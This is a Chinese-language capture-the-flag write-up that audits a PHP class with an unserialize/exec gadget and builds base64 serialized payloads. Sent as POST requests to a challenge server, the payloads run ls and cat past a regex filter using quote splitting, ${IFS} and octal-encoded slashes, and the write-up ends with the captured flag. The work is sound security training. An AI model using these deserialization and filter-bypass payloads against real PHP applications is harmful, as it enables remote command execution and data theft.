目录
一、初见
二、解题步骤
一、初见
刚拿到这个题目，可以发现是一串PHP代码，关注到unserialize(base64_decode($ctf))函数，就知道是考php反序列化。
审计PHP类ease：
__construct($method, $args) ：构造器需要传入两个参数。
__destruct()：对象被销毁时候调用，可以看见这个函数的作用是判断method是否等于ping，等于则调用回调函数。回调函数的作用是将$this->args参数传参到函数$this->method（也就是ping）。
ping($ip)：内部调用exec($ip, $result)函数，这是一个 PHP 内置函数，用于执行外部程序或系统命令，带有两个参数，前一个是执行外部程序或系统命令，第二个参数是把执行结果存储，通常该参数是数组。
var_dump($result)：是输出变量的详细信息，也就是把命令执行的结果输出。waf($str)：该方法是正则匹配过滤非法字符。
__wakeup()：是调用unserialize(base64_decode($ctf))时会调用的函数，作用是遍历数组，调用waf函数过滤非法字符。
分析可得：该代码的运行顺序是
1、POST方法接收一个CTF参数值
2、调用反序列函数unserialize(base64_decode($ctf))
3、调用__construct()
4、调用wakeup函数
5、调用waf函数
6、调用__destruct()
7、调用ping函数
因为有exec命令，所以我们要构思如何让代码执行系统命令ls和cat进行查找和打开文件。可以发现对ls、cat、/、等都有过滤。我们可以通过八进制编码绕过或者Shell内置变量${IFS}等。为了调用ping函数，所以构造函数的第一个参数必须是ping。
二、解题步骤
有了思路开始构造序列化代码（反序列化的前提必须有反序列化），序列化代码必须包含类的定义。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
//var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=new ease("ping",array('1234'));
echo base64_encode(@serialize($ctf));
?>这串代码获得了base64加密的$ctf对象的序列串，如下图所示。
但这里我们还没有使用系统命令（给数组放入系统命令），尝试过滤写入，构造POST请求包。
$ctf=new ease("ping",array('l""s'));POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==运行结果：
可以发现flag，推测是个文件夹，继续构造。
$ctf=new ease("ping",array('l""s${IFS}f""lag_1s_here'));POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
看到flag文件，构造cat命令，尝试打开。
$ctf=new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
最终发现flag：cyberpeace{e736ed0923c4a11df9eda0d29bcb6bdf}
